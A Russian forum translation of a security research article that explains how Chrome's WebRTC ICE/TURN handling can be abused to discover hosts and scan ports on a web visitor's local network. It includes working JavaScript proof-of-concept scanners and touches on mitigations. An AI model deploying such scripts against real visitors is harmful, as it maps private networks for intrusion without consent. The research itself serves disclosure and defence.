• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Использование серверов WebRTC ICE для сканирования портов Chrome.

neopaket

Переводчик
Пользователь
Регистрация
14.05.2019
Сообщения
185
Реакции
205
Использование серверов WebRTC ICE для сканирования портов Chrome.

Использование браузера для сканирования локальной сети уже не новая идея. Существует множество реализаций, которые используют XHR-запросы , веб-сокеты или простой HTML- код для обнаружения и идентификации устройств локальной сети. В этой статье я расскажу о новой методике сканирования с использованием серверов WebRTC ICE . Этот метод является быстрым и, в отличие от других методов, обходит список заблокированных портов . К сожалению, это работает только во время того, когда жертва использует Chrome .
Вы конечно же можете пропустить объяснение работы данной методики и перейти непосредственно к коду или демонстрационной странице методы. В противном случае, давайте начнем с пояснения. Здесь я сканирую свою сеть 192.168.88.0/24.

Что такое ICE-сервер?

Как я уже ранее сказал, метод сканирования использует серверы WebRTC ICE. Сервер ICE - это сервер STUN или TURN, рассматриваемый WebRTC RTCPeerConnection для самостоятельного обнаружения, обхода NAT и/или ретрансляции. Список серверов может быть передан в конструктор RTCPeerConnection. Вот пример конструктора, предоставляемого одним из общедоступных серверов Google STUN:
Код:
var rtc = new RTCPeerConnection ({
   iceServers: [{“urls”: ”stun: stun.l.google.com: 19302”}]
});
Когда вышеуказанный RTCPeerConnection входит в состояние сбора ICE, он пытается подключиться к предоставленному серверу.

Протоколы имеют значение.

Сервера ICE могут быть связаны с портами UDP или TCP. Однако, если не указано другое, то похоже, Chrome пытается установить связь только по UDP. Ниже приведен скриншот Wireshark пакетов, которых Chrome отправляет на несуществующий сервер TURN. Все это UDP.
1*byzTEjauvK7CmFLnnBr-pA.png

Если мыслить глубже, то вы можете заставить Chrome использовать TCP, если конечно вы знаете что-то об URL-адресах ICE-сервера. URL-адреса, передаваемые конструктору RTCPeerConnection, должны соответствовать RFC 7064 (STUN) или RFC 7065 (TURN). Схема TURN URI выглядит следующим образом:
1*-LXCiQjH1dTnW2O0Avq5Og.png

Наиболее важным для целей сканирования является необязательное поле «? Transport =». Chrome можно принудительно использовать ICE поверх TCP с помощью URI TURN, который заканчивается на «? Transport = tcp».
Теперь у нас есть способ инициировать TCP-соединение с любым IP-адресом и портом, который мы выберем. Однако, поскольку почти все хосты, которые мы будем сканировать , не будут TURN-серверами, как мы можем определить, является ли хост живым или нет?

Определение, жив ли хост.

Следующий JSFiddle генерирует 256 TURN URI, чтобы найти активный адрес в диапазоне 192.168. [0–255] .1
Код:
var brute_array = [];
for (i = 0; i < 256; i++) {
  brute_address = "turn:192.168." + i + ".1:445?transport=tcp";
  brute_array.push({
    urls: brute_address,
    credential: "lobster",
    username: "albino"
  });
}
 
var rtc_brute = new RTCPeerConnection({
  iceServers: brute_array,
  iceCandidatePoolSize: 0
});
rtc_brute.createDataChannel('', {
  reliable: false
});
 
rtc_brute.onicecandidateerror = function(e) {
  if (e.url == null) {
    return;
  }
 
  url_split = e.url.split(":");
  host_div = document.createElement('div');
  host_div.id = url_split[1];
  host_div.innerHTML = url_split[1];
  document.getElementById('hosts').appendChild(host_div);
}
 
// trigger the gathering of ICE candidates
rtc_brute.createOffer(function(offerDesc) {
  rtc_brute.setLocalDescription(offerDesc);
}, function(e) {
  console.log("Create offer failed callback.");
});

Адрес определяется как «активный», когда генерируется icecandidateerror. Вот и все. Chrome генерирует ошибки, если хост отклоняет соединение в какой-либо форме.В идеале, с помощью RST или быстрый отказ после того, как Chrome отправит первое сообщение. Хотя сервер может держать соединение открытым, а событие ошибки генерируется примерно 30 секунд.
И именно поэтому JSFiddle использует порт 445 для сканирования. Реализации SMB, с которыми я столкнулся в ходе работы, закрывают установление связи TCP и затем закрывают соединение после трафика Не-SMB Chrome. Порт 445 также идеален, так как он имеет больше шансов, чтобы поднять Windows Boxes.
Событие не генерируется, если Chrome не видит обратного ответа. Это может быть связано с игнорированием брандмауэром нежелательных входящих запросов. Или может быть, что хост не доступен.
Единственный, крайний случай, с которым я столкнулся, это когда ICMP-ответ отправляется обратно. Это вынуждает Chrome генерировать ошибку, которая неотличима от активных хостов.

Как работает сканирование портов?

Этот JSFiddle сканирует 192.168.88.1 на портах 21, 22, 23, 25, 53, 80, 443, 445, 5900 и 8080.
Код:
var ports = [21, 22, 23, 25, 53, 80, 443, 445, 5900, 8080];
var target = "192.168.88.1";
 
address_div = document.createElement('div');
address_div.id = target;
address_div.innerHTML = target;
document.getElementById("hosts").appendChild(address_div);
 
var scan_array = [];
for (i = 0; i < ports.length; i++) {
  probe_address = "turn:" + target + ":" + ports[i] + "?transport=tcp";
  scan_array.push({
    urls: probe_address,
    credential: "lobster",
    username: "albino"
  });
 
  port_div = document.createElement('div');
  port_div.id = ports[i]
  port_div.innerHTML = "&nbsp;&nbsp;&nbsp;-> Port " + ports[i] + " - ?"
  document.getElementById(target).appendChild(port_div);
}
 
var port_scan = new RTCPeerConnection({
  iceServers: scan_array,
  iceCandidatePoolSize: 0
});
port_scan.createDataChannel('', {
  reliable: false
});
 
port_scan.onicecandidateerror = function(e) {
  if (e.url == null) {
    return;
  }
 
  url_split = e.url.split(":");
  port_split = url_split[2].split("?");
 
  if (e.hostCandidate != "0.0.0.x:0") {
    document.getElementById(port_split[0]).innerHTML = "&nbsp;&nbsp;&nbsp;-> Port " + port_split[0] + " - <b><i>Open</i><b>"
  } else {
    document.getElementById(port_split[0]).innerHTML = "&nbsp;&nbsp;&nbsp;-> Port " + port_split[0] + " - Closed"
  }
}
 
setTimeout(function() {
  if (port_scan.iceGatheringState === "gathering") {
    port_scan.close();
  }
}, 60000);
 
port_scan.onicegatheringstatechange = function(e) {
  if (port_scan.iceGatheringState == "complete") {
    port_scan.close();
  }
}
 
port_scan.createOffer(function(offerDesc) {
    port_scan.setLocalDescription(offerDesc);
  },
  function(e) {
    console.log("Create offer failed callback.");
  });
В моей локальной сети получается:
1*fjxkdbRVEwL7OEkpmQyLBw.png

Сценарий может классифицировать порты как «открытые» или «закрытые», опять же, благодаря тому, как Chrome генерирует icecandidateerror. У каждого icecandidateerror есть переменная hostCandidate. И любой сервер ICE, завершивший TCP three way handshake будет иметь локальный IP-адрес и порт, которые указаны в hostCandidate (Например, 192.168.88.x: 51688). Серверы ICE, которые не могут быть достигнуты, генерируют hostCandidates в форме «0.0.0.x: 0». Следовательно из этого, легко определить, открыт порт или нет.
1*Pb8hnwcaCQxcLoJ7eWydNg.png

Это работает только в Chrome?

Я не смог воссоздать ранее рассказанное в любом другом браузере. Они, похоже, не реализовали onicecandidateerror. Также кажется, что её реализация является довольно недавно добавленной в Chrome, так как MDN показывает « No Support»:
1*G-wTmNw1ecPZQXEPHsvLEw.png

Другие браузеры, похоже, тоже не в восторге от использования RTCPeerConnection. Хотя Chrome принимает 255 различных ICE-серверов, Firefox получает все эти преимущества, конечно если вы предлагаете более двух.
1*tT3lWdegKz4lyNeXUUC3tw.png

О проверке концепции кодекса.

Недавняя разработка в Chrome заключается в том, что они приняли меры для устранения утечки локальных адресов через WebRTC. Если включен параметр «Экспериментальный» «Анонимность локальных IP-адресов, предоставляемых WebRTC», Chrome будет пытаться использовать имя хоста mDNS .local вместо локального IP-адреса.
1*g2PAr-JT0sVz-pA57UZB7Q.png

На мой взгляд это хорошее изменение. Даже я, человек, который очень мало занимается веб-исследованиями, использовал утечку IP WebRTC в опубликованном эксплойте. Я полагаю, это было очень полезно для людей, которые действительно делают подобные вещи.
В любом случае, доказательство концепции учитывает это и, если оно не может получить адрес IPv4, то будет искать активный IP в диапазоне 192.168. [0–255] .1. Если вы находитесь в другой частной подсети, то для проверки концепции все равно будет пытаться сканировать 127.0.0.1.

Это уязвимость?

Сначала я думал, что это уязвимость. Злоумышленник (Возможно) обходит список ограниченных портов Chrome и может сопоставить локальную сеть жертвы. Что, на мой взгляд, является комбинацией CWE-184 , CWE-284 и CWE-200 . Тем не менее, Google, похоже, считает эту проблему «дактилоскопией» (Способ опознания человека по следам пальцев рук). Они особо отмечают в разделе «Отпечатки пальцев конфигурации сети »:
С активным зондированием, список открытых портов на локальном хосте с указанием другого установленного программного обеспечения и настроек брандмауэра в системе. “Непослушные субъекты” также могут испытывать искушение исследовать системы и сервисы в локальной сети посетителя; выполнение этого прямо в браузере позволит обойти любые брандмауэры, которые обычно отфильтровывают нежелательный входящий трафик.
И в соответствии с Google, “снятие отпечатков пальцев” появляется вопрос о конфиденциальности.
Хотя мы не рассматриваем проблемы, связанные с дактилоскопией, как уязвимости в системе безопасности , теперь мы считаем, что они являются ошибками конфиденциальности.

Есть ли смягчения?

Да. Существует множество расширений Chrome, которые утверждают, что полностью отключают WebRTC. И конечно вы также можете выбрать другой браузер :)

Вот и всё. Спасибо за прочтение данной статьи и хорошего дня.
Оригинальная статья: https://medium.com/tenable-techblog...vers-for-port-scanning-in-chrome-ce17b19dd474
Спасибо admin за предложение данной статьи.
neopaket
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх